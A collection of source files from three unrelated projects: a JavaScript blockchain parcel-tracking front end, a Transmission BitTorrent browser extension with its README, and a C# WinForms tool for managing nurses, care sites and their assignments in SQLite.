'<div class="name token-3-' + i + '" tabindex="0" data-trigger="focus">' + date.toLocaleTimeString("en-us", timeOptions) + '</div>'+
'</li>');
$('.token-2-' + i).popover({
content: "<a target='_blank' href='https://rinkeby.etherscan.io/address/" + result[i]['args']['owner'] + "'>" + result[i]['args']['owner'] + "</a>",
html: true,
placement: "bottom"
});
$('.token-3-' + i).popover({
content: "<a target='_blank' href='https://rinkeby.etherscan.io/tx/" + result[i]['transactionHash'] + "'>" + result[i]['transactionHash'] + "</a>",
html: true,
placement: "bottom"
});
}
$('.page-content-1').append(
'<div class="card border" data-token-id="' + slug + '">' +
'<div class="card-body">' +
'<h5 class="card-title">Parcel ' + slug + '</h5>' +
'<p class="card-subtitle text-muted last-update-text">Delivery address:</p>' +
'<p class="card-text text-muted">' + token[3] + '</p>' +
'</div>' +
'<div class="card-footer bg-transparent">' +
'<div class="progress">' +
html +
'</div>' +
'</div>' +
'</div>');
} else {
console.log('No data');
}
} else
console.error(error);
});
} else {
console.log('No data');
}
} else {
console.error(error);
}
});
}<file_sep>/config/secret.js.example.js
module.exports = {
MNEMONIC: '' // Requires own MNEMONIC phrase to be entered and then renamed to secret.js
}<file_sep>/README.md
# BlockTrack
Blockchain Track en Trace
Combining the advantages of Blockchain with parcel track and trace systems to generate a solid and robust system.
<file_sep>/public/js/customer_index.js
function startOthers() {
$('#qrcodeModal').find('.modal-body').append('<img class="img-fluid" src="https://chart.googleapis.com/chart?cht=qr&chl='+ web3.eth.accounts[0] +'&choe=UTF-8&chs=500x500">');
myContract.parcelsOfReceiver(web3.eth.accounts[0], function (error, result) {
if (!error) {
if (result.length !== 0) {
let i = 0;
for (i = 0; i < result.length; i++) {
let tokenId = result[i];
myContract.getToken.call(tokenId, function (error, result) {
if (!error) {
if (result.length !== 0) {
let date = '';
let token = result;
let delivered = '';
myContract.handOff({tokenId: tokenId}, {fromBlock: 0, toBlock: 'latest'}).get(function (error, result) {
if (!error) {
if (result.length !== 0) {
for (i = 0; i < result.length; i++) {
if (i === result.length - 1) {
date = new Date(result[i]['args']['time']['c'][0] * 1000);
delivered = result[i]['args']['delivered'];
}
}
let url = $('.url-detail').data('url-detail').replace(/\d+/, tokenId);
if (delivered == false) {
$('.todo .no-data-card').remove();
$('.todo').append(
'<div class="card border" data-token-id="' + tokenId + '">' +
'<div class="card-body">' +
'<h5 class="card-title">Parcel ' + tokenId + ' <span class="badge badge-pill badge-primary pull-right">In Transport</span></h5>' +
'<p class="card-subtitle text-muted last-update-text">Last update: ' + date.toLocaleTimeString("en-us", timeOptions) + '</p>' +
'</div>' +
'<div class="card-footer bg-transparent">' +
'<div class="row">' +
'<div class="col-6">' +
'<a href="' + url + '" class="card-link">Details</a>' +
'</div>' +
'<div class="col-6">' +
'<p class="card-text pull-right text-muted">' + token[1] + '</p>' +
'</div>' +
'</div>' +
'</div>' +
'</div>');
} else {
$('.done .no-data-card').remove();
$('.done').append(
'<div class="card border" data-token-id="' + tokenId + '">' +
'<div class="card-body">' +
'<h5 class="card-title">Parcel ' + tokenId + ' <span class="badge badge-pill badge-success pull-right">Delivered</span></h5>' +
'<p class="card-subtitle text-muted last-update-text">Last update: ' + date.toLocaleTimeString("en-us", timeOptions) + '</p>' +
'</div>' +
'<div class="card-footer bg-transparent">' +
'<div class="row">' +
'<div class="col-6">' +
'<a href="' + url + '" class="card-link">Details</a>' +
'</div>' +
'<div class="col-6">' +
'<p class="card-text pull-right text-muted">' + token[1] + '</p>' +
'</div>' +
'</div>' +
'</div>' +
'</div>');
}
} else {
console.log('No data');
}
} else {
console.error(error);
}
});
} else {
console.log('No data');
}
} else {
console.error(error);
}
});
}
}
} else {
console.error(error);
}
});
} | 926db1b31755250a2e556c04408ae0ffe638552d | [
"JavaScript",
"Markdown",
"PHP"
] | 9 | JavaScript | thedeadzone/BlockTrack | 686a609f85aeee82e84372bd4cb6b7a34268762f | 210e515d9833b70cc6e54f861c690dba9d23a88b |
refs/heads/master | <repo_name>Frischifrisch/transmitter<file_sep>/common.js
'use strict'
////// RPC
function rpcCall (meth, args) {
return browser.storage.local.get('server').then(({server}) => {
const myHeaders = {
'Content-Type': 'application/json',
'x-transmission-session-id': server.session,
}
if (server.username !== '' || server.password !== '') {
myHeaders['Authorization'] = 'Basic ' + btoa((server.username || '') + ':' + (server.password || ''))
}
return fetch(server.base_url + 'rpc', {
method: 'POST',
headers: myHeaders,
body: JSON.stringify({method: meth, arguments: args}),
credentials: 'include' // allows HTTPS client certs!
}).then(response => {
const session = response.headers.get('x-transmission-session-id')
if (session) {
browser.storage.local.get('server').then(({server}) => {
server.session = session
browser.storage.local.set({server})
})
}
if (response.status === 409) {
return rpcCall(meth, args)
}
if (response.status >= 200 && response.status < 300) {
return response
}
const error = new Error(response.statusText)
error.response = response
throw error
}).then(response => response.json())
})
}
////// Util
function formatSpeed (s) {
// Firefox shows 4 characters max
if (s < 1000 * 1000) {
return (s / 1000).toFixed() + 'K'
}
if (s < 1000 * 1000 * 1000) {
return (s / 1000 / 1000).toFixed() + 'M'
}
// You probably don't have that download speed…
return (s / 1000 / 1000 / 1000).toFixed() + 'T'
}
<file_sep>/options.js
const form = document.getElementById('options-form')
const warning = document.getElementById('warning')
const saveBtn = form.querySelector('#save')
const locations = form.querySelector('#locations')
const locationName = form.querySelector('#location_name')
const locationPath = form.querySelector('#location_path')
const locationNew = form.querySelector('#location_new')
const locationDelete = form.querySelector('#location_delete')
form.addEventListener('submit', e => {
e.preventDefault()
const data = Array.prototype.reduce.call(form.elements, (obj, el) => {
obj[el.name] = el.value
return obj
}, {})
delete data['']
data.locations = saveLocations()
/*
When this works everywhere, replace <all_urls> with http://transmitter.web-extension/* in manifest.json.
Unfortunately, right now this is unsupported in Firefox and Edge…
and even worse, in Opera the API exists but requesting a user-specified host is not possible!
if (browser.permissions) {
browser.permissions.request({
permissions: ['webRequest', 'webRequestBlocking'],
origins: [data.base_url + '*']
})
}
*/
if (!data.base_url.endsWith('/transmission/')) {
warning.innerHTML = 'WARNING: Server URL does not end with /transmission/ — make sure it is correct! (If you actually customized it on the server side, it will work fine.)'
warning.hidden = false
} else {
warning.hidden = true
}
browser.storage.local.set({server: data}).then(() => {
saveBtn.innerHTML = 'Saved!'
setTimeout(() => {
saveBtn.innerHTML = 'Save'
}, 600)
})
})
browser.storage.local.get('server').then(({server}) => {
if (!server) {
return
}
for (const x of Object.keys(server)) {
const el = form.querySelector('[name="' + x + '"]')
if (el) {
el.value = server[x]
} else if (x === 'locations') {
renderLocations(server[x])
}
}
})
function renderLocations (locationsData) {
locations.querySelectorAll('option:not(:first-child)').forEach(opt => opt.remove())
locationsData.map(loc => createLocationOption(loc.name, loc.path))
.forEach(opt => locations.appendChild(opt))
}
locations.addEventListener('change', refreshLocationEditor)
function refreshLocationEditor () {
if (locations.selectedIndex === -1) {
locationName.value = ''
locationPath.value = ''
locationName.disabled = true
locationPath.disabled = true
locationDelete.disabled = true
} else {
let option = locations.options[locations.selectedIndex]
locationName.value = option.dataset.name
locationPath.value = option.dataset.path
locationName.disabled = false
locationPath.disabled = false
locationDelete.disabled = false
}
}
locationName.addEventListener('input', () => {
let option = locations.options[locations.selectedIndex]
option.dataset.name = locationName.value
refreshLocationOptionText(option)
})
locationPath.addEventListener('input', () => {
let option = locations.options[locations.selectedIndex]
option.dataset.path = locationPath.value
refreshLocationOptionText(option)
})
locationDelete.addEventListener('click', () => {
locations.options[locations.selectedIndex].remove()
if (locations.options.length > 1) {
locations.selectedIndex = locations.options.length - 1
}
refreshLocationEditor()
})
locationNew.addEventListener('click', () => {
let option = createLocationOption('New location', '/path/to/location')
locations.appendChild(option)
locations.selectedIndex = locations.options.length - 1
refreshLocationEditor()
locationName.select()
})
function createLocationOption (name, path) {
let option = document.createElement('option')
option.dataset.name = name
option.dataset.path = path
refreshLocationOptionText(option)
return option
}
function refreshLocationOptionText (option) {
option.innerText = option.dataset.name + ' [' + option.dataset.path + ']'
}
function saveLocations () {
return [...locations.querySelectorAll('option:not(:first-child)')]
.map((opt, index) => ({ name: opt.dataset.name, path: opt.dataset.path, index: index }))
}
<file_sep>/popup.js
'use strict'
const torrentsPane = document.getElementById('torrents-pane')
const configPane = document.getElementById('config-pane')
for (const opener of document.querySelectorAll('.config-opener')) {
opener.addEventListener('click', e => {
browser.runtime.openOptionsPage()
})
}
function showConfig (server) {
torrentsPane.hidden = true
configPane.hidden = false
}
const torrentsSearch = document.getElementById('torrents-search')
const torrentsList = document.getElementById('torrents-list')
const torrentsTpl = document.getElementById('torrents-tpl')
const torrentsError = document.getElementById('torrents-error')
const getArgs = {
fields: ['name', 'percentDone', 'rateDownload', 'rateUpload', 'queuePosition']
}
let cachedTorrents = []
function renderTorrents (newTorrents) {
if (torrentsList.children.length < newTorrents.length) {
const dif = newTorrents.length - torrentsList.children.length
for (let i = 0; i < dif; i++) {
const node = document.importNode(torrentsTpl.content, true)
torrentsList.appendChild(node)
}
} else if (torrentsList.children.length > newTorrents.length) {
const oldLen = torrentsList.children.length
const dif = oldLen - newTorrents.length
for (let i = 1; i <= dif; i++) {
torrentsList.removeChild(torrentsList.children[oldLen - i])
}
}
for (let i = 0; i < newTorrents.length; i++) {
const torr = newTorrents[i]
const cont = torrentsList.children[i]
const speeds = '↓ ' + formatSpeed(torr.rateDownload) + 'B/s ↑ ' + formatSpeed(torr.rateUpload) + 'B/s'
cont.querySelector('.torrent-name').textContent = torr.name
cont.querySelector('.torrent-speeds').textContent = speeds
cont.querySelector('.torrent-progress').value = torr.percentDone * 100
}
}
function searchTorrents () {
let newTorrents = cachedTorrents
const val = torrentsSearch.value.toLowerCase().trim()
if (val.length > 0) {
newTorrents = newTorrents.filter(x => x.name.toLowerCase().includes(val))
}
renderTorrents(newTorrents)
}
torrentsSearch.addEventListener('change', searchTorrents)
torrentsSearch.addEventListener('keyup', searchTorrents)
function refreshTorrents (server) {
return rpcCall('torrent-get', getArgs).then(response => {
let newTorrents = response.arguments.torrents
newTorrents.sort((x, y) => y.queuePosition - x.queuePosition)
cachedTorrents = newTorrents
torrentsSearch.hidden = newTorrents.length <= 8
if (torrentsSearch.hidden) {
torrentsSearch.value = ''
renderTorrents(newTorrents)
} else {
searchTorrents()
}
})
}
function refreshTorrentsLogErr (server) {
return refreshTorrents(server).catch(err => {
console.error(err)
torrentsError.textContent = 'Error: ' + err.toString()
})
}
function showTorrents (server) {
torrentsPane.hidden = false
configPane.hidden = true
for (const opener of document.querySelectorAll('.webui-opener')) {
opener.href = server.base_url + 'web/'
}
refreshTorrents(server).catch(_ => refreshTorrentsLogErr(server))
setInterval(() => refreshTorrentsLogErr(server), 2000)
}
browser.storage.local.get('server').then(({server}) => {
if (server && server.base_url && server.base_url !== '') {
showTorrents(server)
} else {
showConfig(server)
}
})
<file_sep>/README.md
[



](https://addons.mozilla.org/en-US/firefox/addon/transmitter-for-transmission/)
[



](https://chrome.google.com/webstore/detail/transmitter-for-transmiss/cdmpmfcgepijfiaaojbahpmpjfkgdgja)
[](https://unlicense.org)
# Transmitter

a WebExtension for the [Transmission](https://transmissionbt.com/) BitTorrent client.
<a href="https://addons.mozilla.org/en-US/firefox/addon/transmitter-for-transmission/"><img alt="Get for Firefox" src="https://addons.cdn.mozilla.net/static/img/addons-buttons/AMO-button_1.png" width="172" height="60"></a>
<a href="https://addons.opera.com/en/extensions/details/transmitter-for-transmission/"><img alt="Get for Opera" src="https://dev.opera.com/extensions/branding-guidelines/addons_206x58_en@2x.png" width="206" height="58"></a>
<a href="https://chrome.google.com/webstore/detail/transmitter-for-transmiss/cdmpmfcgepijfiaaojbahpmpjfkgdgja"><img alt="Get for Chrome" src="https://developer.chrome.com/webstore/images/ChromeWebStore_BadgeWBorder_v2_496x150.png" width="206" height="58"></a>
- Adds a context menu item for downloading torrents (both `magnet`s and links to `.torrent` files) on your remote Transmission server.
- Adds a direct `magnet:` handler too. (Firefox only)
- Adds a browser action (popup toolbar icon thing) that lets you view existing torrents' status.
- You can even search in the popup if you have a lot of torrents.
- That button even has a badge (auto-updating torrent count / download speed / upload speed).
- The extension is very lightweight. Pure modern JavaScript, no library dependencies except for [a tiny polyfill for Chrome/Opera/etc. compatibility](https://github.com/mozilla/webextension-polyfill).
- Automatically picks up your session from the Transmission web UI, no need for separate authentication.
- Works fine if your Transmission instance is behind a reverse proxy that uses [TLS client certificates](https://github.com/myfreeweb/damnx509).
The extension requires access to all domains because requesting a dynamically configured domain (the domain of your Transmission server) with [the permissions API](https://developer.chrome.com/extensions/permissions) not yet widely supported.
(API not implemented yet in Firefox and Edge, requesting a specific domain that's unknown at manifest writing time just does not work in Opera.)
Edge isn't supported yet because [it is weird](https://github.com/mozilla/webextension-polyfill/issues/3).
(But shouldn't be hard to support.)
## Contributing
By participating in this project you agree to follow the [Contributor Code of Conduct](https://contributor-covenant.org/version/1/4/) and to release your contributions under the Unlicense.
[The list of contributors is available on GitHub](https://github.com/myfreeweb/transmitter/graphs/contributors).
## License
This is free and unencumbered software released into the public domain.
For more information, please refer to the `UNLICENSE` file or [unlicense.org](https://unlicense.org).
| 3f3e43d4b689e861306647d03af1ac5ec3ad5e91 | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | Frischifrisch/transmitter | 64130467830dab190806e90bbad798db8fb2e45a | 1da96aee9cea2f4d6e23fe20aef36a72e8701d9f |
refs/heads/master | <file_sep>platform :ios, '9.0'
use_frameworks!
target 'StateView' do
pod 'SnapKit'
end
| 3a04bc60b49bf441b9b6fecda0a6a6f6b96cfb1c | [
"Ruby"
] | 1 | Ruby | programming086/StateView | c3fbe70270a1b71ac9bad67e48f7b791df1a49a8 | bbbd757a317410f559fd1b06822221019190253a |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Xml;
using System.IO;
using System.Data.SQLite;
namespace Sites.Nurses.Manage_windows
{
public partial class frmMain : Form
{
private string imagePath = Application.StartupPath + "\\image\\";
public frmMain()
{
InitializeComponent();
}
private void frmMain_Load(object sender, EventArgs e)
{
initilize();
CenterToScreen();
}
/// <summary>
/// 初始化
/// </summary>
private void initilize()
{
Application.DoEvents();
if (!Directory.Exists(imagePath))
Directory.CreateDirectory(imagePath);
}
private void btnSite_Click(object sender, EventArgs e)
{
try
{
frmSitesManage frmSites = new frmSitesManage();
frmSites.ShowDialog();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void btnNurse_Click(object sender, EventArgs e)
{
try
{
frmNurseManage frmNurse = new frmNurseManage();
frmNurse.ShowDialog();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void btnCSV_Click(object sender, EventArgs e)
{
try
{
frmExport frmExp = new frmExport();
frmExp.ShowDialog();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
/// <summary>
/// 從工具列圖示還原
/// </summary>
private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
{
//讓Form再度顯示,並寫狀態設為Normal
this.Show();
this.WindowState = FormWindowState.Normal;
CenterToScreen();
}
/// <summary>
/// 縮小至工具列圖示
/// </summary>
private void frmMain_SizeChanged(object sender, EventArgs e)
{
if (this.WindowState == FormWindowState.Minimized)
{
this.Hide();
this.notifyIcon.Visible = true;
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace Sites.Nurses.Manage_windows
{
public partial class frmNurseManage : Form
{
private string imagePath = Application.StartupPath + "\\image\\";
private clsSQLFunction sqlFunction = new clsSQLFunction();
private List<clsNurse> lsNurse = new List<clsNurse>();
private List<clsSite> lsSite = new List<clsSite>();
private List<clsSchedule> lsSchedule = new List<clsSchedule>();
public frmNurseManage()
{
InitializeComponent();
}
/// <summary>
/// 將護士資料新增至資料庫
/// </summary>
public int addNurse(clsNurse data)
{
foreach (clsNurse tmpNurse in lsNurse)
{
if (tmpNurse.ID == data.ID)
{
MessageBox.Show("醫護站編號不可重覆,請重新確認。");
return -1;
}
}
try
{
Application.DoEvents();
//write into db
if (sqlFunction.addNurse(data) == 0)
return 0;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return -1;
}
MessageBox.Show("新增資料時發生錯誤");
return -1;
}
/// <summary>
/// 將護士資料更新至資料庫
/// </summary>
public int updateNurse(clsNurse data)
{
try
{
//write into db
Application.DoEvents();
if (sqlFunction.updateNurse(data) == 0)
return 0;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return -1;
}
MessageBox.Show("更新資料時發生錯誤");
return -1;
}
private void frmNurseManage_Load(object sender, EventArgs e)
{
CenterToParent();
if (sqlFunction.open() == -1)
{
MessageBox.Show("資料庫開啟錯誤,請確認資料庫是否存在");
Close();
}
refreshNurseList("", "");
refreshSiteList("","");
refreshScheduleList();
cmbNurse.Items.Clear();
cmbNurse.Items.Add("ID");
cmbNurse.Items.Add("名稱");
cmbNurse.SelectedIndex = 0;
}
/// <summary>
/// 更新護士列表
/// </summary>
/// <param name="column">column</param>
/// <param name="searchString">searchString</param>
private void refreshNurseList(String column,String searchString)
{
txtNurseID.Text = "";
txtNurseName.Text = "";
picNurse.Image = null;
Application.DoEvents();
dgvNurse.DataSource = null;
DataTable dtbGroup = new DataTable();
#region "資料欄位"
dtbGroup.Columns.Add(new DataColumn("編號", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("名稱", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("i", Type.GetType("System.String")));
#endregion
Application.DoEvents();
lsNurse.Clear();
if (sqlFunction.searchNurse(column, searchString, out lsNurse) == -1)
{
MessageBox.Show("更新列表時發生錯誤");
return;
}
Application.DoEvents();
foreach (clsNurse data in lsNurse)
{
DataRow drGroup = dtbGroup.NewRow();
drGroup["編號"] = data.ID;
drGroup["名稱"] = data.Name;
drGroup["i"] = data.Image;
dtbGroup.Rows.Add(drGroup);
drGroup = null;
}
dgvNurse.DataSource = dtbGroup.DefaultView;
dgvNurse.Columns[0].Width = 100;
dgvNurse.Columns[1].Width = 100;
dgvNurse.Columns[2].Width = 5;
dgvNurse.Sort(dgvNurse.Columns[0], ListSortDirection.Ascending);
}
/// <summary>
/// 更新醫護站列表
/// </summary>
private void refreshSiteList(String column, String searchString)
{
txtSiteMemo.Text = "";
Application.DoEvents();
dgvSiteList.DataSource = null;
DataTable dtbGroup = new DataTable();
#region "資料欄位"
dtbGroup.Columns.Add(new DataColumn("編號", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("名稱", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("m", Type.GetType("System.String")));
#endregion
Application.DoEvents();
lsSite.Clear();
if (sqlFunction.searchSite(column, searchString, out lsSite) == -1)
{
MessageBox.Show("更新列表時發生錯誤");
return;
}
Application.DoEvents();
foreach (clsSite st in lsSite)
{
DataRow drGroup = dtbGroup.NewRow();
drGroup["編號"] = st.ID;
drGroup["名稱"] = st.Name;
drGroup["m"] = st.Memo;
dtbGroup.Rows.Add(drGroup);
drGroup = null;
}
dgvSiteList.DataSource = dtbGroup.DefaultView;
dgvSiteList.Columns[0].Width = 100;
dgvSiteList.Columns[1].Width = 100;
dgvSiteList.Columns[2].Width = 5;
dgvSiteList.Sort(dgvSiteList.Columns[0], ListSortDirection.Ascending);
}
/// <summary>
/// 更新分派列表
/// </summary>
private void refreshScheduleList()
{
txtScheduleMemo.Text = "";
Application.DoEvents();
lsSchedule.Clear();
dgvAssigned.DataSource = null;
if (dgvNurse.SelectedRows.Count <= 0)
return;
if (sqlFunction.getSscheduleListByNurse(txtNurseID.Text, out lsSchedule)==-1)
{
MessageBox.Show("取得分派資料時發生錯誤");
return;
}
List<clsSite> lsAssigned = new List<clsSite>();
foreach (clsSchedule Sch in lsSchedule)
{
foreach (clsSite st in lsSite)
{
if (Sch.SiteID == st.ID)
{
lsAssigned.Add(st);
continue;
}
}
}
Application.DoEvents();
dgvAssigned.DataSource = null;
DataTable dtbGroup = new DataTable();
#region "資料欄位"
dtbGroup.Columns.Add(new DataColumn("編號", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("名稱", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("m", Type.GetType("System.String")));
#endregion
Application.DoEvents();
foreach (clsSite st in lsAssigned)
{
DataRow drGroup = dtbGroup.NewRow();
drGroup["編號"] = st.ID;
drGroup["名稱"] = st.Name;
drGroup["m"] = st.Memo;
dtbGroup.Rows.Add(drGroup);
drGroup = null;
}
dgvAssigned.DataSource = dtbGroup.DefaultView;
dgvAssigned.Columns[0].Width = 100;
dgvAssigned.Columns[1].Width = 100;
dgvAssigned.Columns[2].Width = 5;
dgvAssigned.Sort(dgvAssigned.Columns[0], ListSortDirection.Ascending);
}
private void dgvNurse_SelectionChanged(object sender, EventArgs e)
{
if (dgvNurse.SelectedRows.Count > 0)
{
txtNurseID.Text = dgvNurse.SelectedRows[0].Cells[0].Value.ToString();
txtNurseName.Text = dgvNurse.SelectedRows[0].Cells[1].Value.ToString();
String fileName = dgvNurse.SelectedRows[0].Cells[2].Value.ToString();
if (fileName != "" && File.Exists(imagePath + fileName))
{
picNurse.Load(imagePath + fileName);
}
else
{
if (File.Exists(Application.StartupPath + "\\NoImage.jpg"))
picNurse.Load(Application.StartupPath + "\\NoImage.jpg");
}
refreshScheduleList();
}
}
/// <summary>
/// 新增護士
/// </summary>
private void btnAdd_Click(object sender, EventArgs e)
{
frmNurseUpdate frmUpdate = new frmNurseUpdate();
frmUpdate.NMForm = this;
frmUpdate.ShowDialog();
refreshNurseList("","");
}
/// <summary>
/// 修改護士
/// </summary>
private void btnUpdate_Click(object sender, EventArgs e)
{
if (dgvNurse.SelectedRows.Count <= 0)
{
MessageBox.Show("請選擇欲修改的項目.");
return;
}
clsNurse data = new clsNurse();
data.ID = dgvNurse.SelectedRows[0].Cells[0].Value.ToString();
data.Name = dgvNurse.SelectedRows[0].Cells[1].Value.ToString();
data.Image = dgvNurse.SelectedRows[0].Cells[2].Value.ToString();
picNurse.Image = null;
frmNurseUpdate frmUpdate = new frmNurseUpdate();
frmUpdate.NMForm = this;
frmUpdate.EditData = data;
frmUpdate.ShowDialog();
refreshNurseList("","");
}
/// <summary>
/// 刪除護士
/// </summary>
private void btnDelete_Click(object sender, EventArgs e)
{
if (dgvNurse.SelectedRows.Count <= 0)
{
MessageBox.Show("請選擇欲刪除的項目.");
return;
}
string msg = "ID:" + txtNurseID.Text + "\r\n" +
"Name:" + txtNurseName.Text + "\r\n" +
"是否確認刪除?";
if (MessageBox.Show(msg, "請確認", MessageBoxButtons.YesNo) == DialogResult.No)
return;
Application.DoEvents();
clsNurse data = new clsNurse();
data.ID = txtNurseID.Text;
if (sqlFunction.deleteSchedule(data)== -1)
MessageBox.Show("刪除分派資料時發生錯誤");
if (sqlFunction.deleteNurse(txtNurseID.Text) == -1)
MessageBox.Show("刪除護士資料時發生錯誤");
refreshNurseList("","");
refreshScheduleList();
}
private void frmNurseManage_FormClosing(object sender, FormClosingEventArgs e)
{
sqlFunction.close();
}
private void btnAssign_Click(object sender, EventArgs e)
{
if (dgvNurse.SelectedRows.Count <= 0)
return;
if (dgvSiteList.SelectedRows.Count > 0)
{
foreach (clsSchedule sch in lsSchedule)
{
if (sch.SiteID == dgvSiteList.SelectedRows[0].Cells[0].Value.ToString())
{
MessageBox.Show("此站點已經分派,請重新確認");
return;
}
}
clsSchedule data = new clsSchedule();
data.NurseID = dgvNurse.SelectedRows[0].Cells[0].Value.ToString();
data.SiteID = dgvSiteList.SelectedRows[0].Cells[0].Value.ToString();
if (sqlFunction.addSchedule(data) == -1)
MessageBox.Show("新增分派時發生錯誤");
refreshScheduleList();
}
}
private void btnRemove_Click(object sender, EventArgs e)
{
if (dgvAssigned.SelectedRows.Count <= 0)
{
MessageBox.Show("請選擇欲移除的分派。");
return;
}
clsSchedule data = new clsSchedule();
data.NurseID = dgvNurse.SelectedRows[0].Cells[0].Value.ToString();
data.SiteID = dgvAssigned.SelectedRows[0].Cells[0].Value.ToString();
if (sqlFunction.deleteSchedule(data) == -1)
MessageBox.Show("刪除分派資料時發生錯誤");
refreshScheduleList();
}
private void dgvAssigned_SelectionChanged(object sender, EventArgs e)
{
if (dgvAssigned.SelectedRows.Count > 0)
txtScheduleMemo.Text = dgvAssigned.SelectedRows[0].Cells[2].Value.ToString();
}
private void dgvSiteList_SelectionChanged(object sender, EventArgs e)
{
if (dgvSiteList.SelectedRows.Count > 0)
txtSiteMemo.Text = dgvSiteList.SelectedRows[0].Cells[2].Value.ToString();
}
private void dgvNurse_DoubleClick(object sender, EventArgs e)
{
btnUpdate_Click(null, null);
}
private void dgvAssigned_DoubleClick(object sender, EventArgs e)
{
btnRemove_Click(null, null);
}
private void dgvSiteList_DoubleClick(object sender, EventArgs e)
{
btnAssign_Click(null, null);
}
private void cmbNurse_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = true;
}
private void btnNurseSearch_Click(object sender, EventArgs e)
{
String searchBy = "id";
if (cmbNurse.SelectedIndex == 1)
searchBy = "name";
refreshNurseList(searchBy, txtNurseSearch.Text);
}
private void btnShowAllNurse_Click(object sender, EventArgs e)
{
txtNurseSearch.Text = "";
refreshNurseList("", "");
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace Sites.Nurses.Manage_windows
{
public partial class frmSitesManage : Form
{
private string imagePath = Application.StartupPath + "\\image\\";
private clsSQLFunction sqlFunction = new clsSQLFunction();
private List<clsNurse> lsNurse = new List<clsNurse>();
private List<clsSite> lsSite = new List<clsSite>();
private List<clsSchedule> lsSchedule = new List<clsSchedule>();
public frmSitesManage()
{
InitializeComponent();
}
/// <summary>
/// 將醫護站資料新增至資料庫
/// </summary>
public int addSite(clsSite data)
{
foreach (clsSite tmpSite in lsSite)
{
if (tmpSite.ID == data.ID)
{
MessageBox.Show("醫護站編號不可重覆,請重新確認。");
return -1;
}
}
try
{
Application.DoEvents();
//write into db
if (sqlFunction.addSite(data) == 0)
return 0;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return -1;
}
MessageBox.Show("新增資料時發生錯誤");
return -1;
}
/// <summary>
/// 將醫護站資料更新至資料庫
/// </summary>
public int updateSite(clsSite data)
{
try
{
//write into db
Application.DoEvents();
if (sqlFunction.updateSite(data) == 0)
return 0;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return -1;
}
MessageBox.Show("更新資料時發生錯誤");
return -1;
}
private void frmSitesManage_Load(object sender, EventArgs e)
{
CenterToParent();
if (sqlFunction.open() == -1)
{
MessageBox.Show("資料庫開啟錯誤,請確認資料庫是否存在");
Close();
}
refreshNurseList("", "");
refreshSiteList("", "");
refreshScheduleList();
cmbSite.Items.Clear();
cmbSite.Items.Add("ID");
cmbSite.Items.Add("名稱");
cmbSite.SelectedIndex = 0;
}
/// <summary>
/// 更新護士列表
/// </summary>
/// <param name="column">column</param>
/// <param name="searchString">searchString</param>
private void refreshNurseList(String column, String searchString)
{
Application.DoEvents();
lsNurse.Clear();
if (sqlFunction.searchNurse(column, searchString, out lsNurse) == -1)
{
MessageBox.Show("更新列表時發生錯誤");
return;
}
}
/// <summary>
/// 更新列表
/// </summary>
/// <param name="column">column</param>
/// <param name="searchString">searchString</param>
private void refreshSiteList(String column, String searchString)
{
txtSiteID.Text = "";
txtSiteName.Text = "";
txtSiteMemo.Text = "";
Application.DoEvents();
dgvSite.DataSource = null;
DataTable dtbGroup = new DataTable();
#region "資料欄位"
dtbGroup.Columns.Add(new DataColumn("編號", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("名稱", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("備註", Type.GetType("System.String")));
#endregion
Application.DoEvents();
lsSite.Clear();
if (sqlFunction.searchSite(column, searchString, out lsSite) == -1)
{
MessageBox.Show("更新列表時發生錯誤");
return;
}
Application.DoEvents();
foreach (clsSite st in lsSite)
{
DataRow drGroup = dtbGroup.NewRow();
drGroup["編號"] = st.ID;
drGroup["名稱"] = st.Name;
drGroup["備註"] = st.Memo;
dtbGroup.Rows.Add(drGroup);
drGroup = null;
}
dgvSite.DataSource = dtbGroup.DefaultView;
dgvSite.Columns[0].Width = 100;
dgvSite.Columns[1].Width = 150;
dgvSite.Columns[2].Width = 150;
dgvSite.Sort(dgvSite.Columns[0], ListSortDirection.Ascending);
}
/// <summary>
/// 更新分派列表
/// </summary>
private void refreshScheduleList()
{
txtNurseID.Text = "";
txtNurseName.Text = "";
picNurse.Image = null;
Application.DoEvents();
lsSchedule.Clear();
dgvAssigned.DataSource = null;
if (dgvSite.SelectedRows.Count <= 0)
return;
if (sqlFunction.getSscheduleListBySite(txtSiteID.Text, out lsSchedule) == -1)
{
MessageBox.Show("更新分派列表發生錯誤");
return;
}
List<clsNurse> lsAssigned = new List<clsNurse>();
foreach (clsSchedule Sch in lsSchedule)
{
foreach (clsNurse nurse in lsNurse)
{
if (Sch.NurseID == nurse.ID)
{
lsAssigned.Add(nurse);
continue;
}
}
}
Application.DoEvents();
dgvAssigned.DataSource = null;
DataTable dtbGroup = new DataTable();
#region "資料欄位"
dtbGroup.Columns.Add(new DataColumn("編號", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("名稱", Type.GetType("System.String")));
dtbGroup.Columns.Add(new DataColumn("i", Type.GetType("System.String")));
#endregion
Application.DoEvents();
foreach (clsNurse data in lsAssigned)
{
DataRow drGroup = dtbGroup.NewRow();
drGroup["編號"] = data.ID;
drGroup["名稱"] = data.Name;
